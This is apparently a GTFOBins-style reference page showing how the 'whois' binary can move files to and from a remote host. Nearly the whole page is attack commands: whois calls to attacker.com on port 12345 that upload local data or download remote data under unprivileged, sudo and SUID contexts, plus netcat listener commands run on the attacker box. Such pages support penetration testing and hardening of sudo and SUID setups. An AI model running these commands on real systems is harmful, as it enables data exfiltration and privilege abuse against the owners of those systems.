.. / whois

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• Upload
• Download

Upload

This executable can upload local data.

• Comment

  Data is converted to lower case, and has a trailing \r\n.

  Unprivileged

  This function can be performed by any unprivileged user.

  whois -h attacker.com -p 12345 DATA

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  whois -h attacker.com -p 12345 DATA

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  whois -h attacker.com -p 12345 DATA

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

  Receiver

  A TCP server can be used on the attacker box to receive the data.

  nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.

• Comment

  Received data has instances of the \r byte stripped.

  Unprivileged

  This function can be performed by any unprivileged user.

  whois -h attacker.com -p 12345 x

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  whois -h attacker.com -p 12345 x

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  whois -h attacker.com -p 12345 x

  Sender

  A TCP server can be used on the attacker box to send the data.

  nc -l -p 12345 </path/to/input-file

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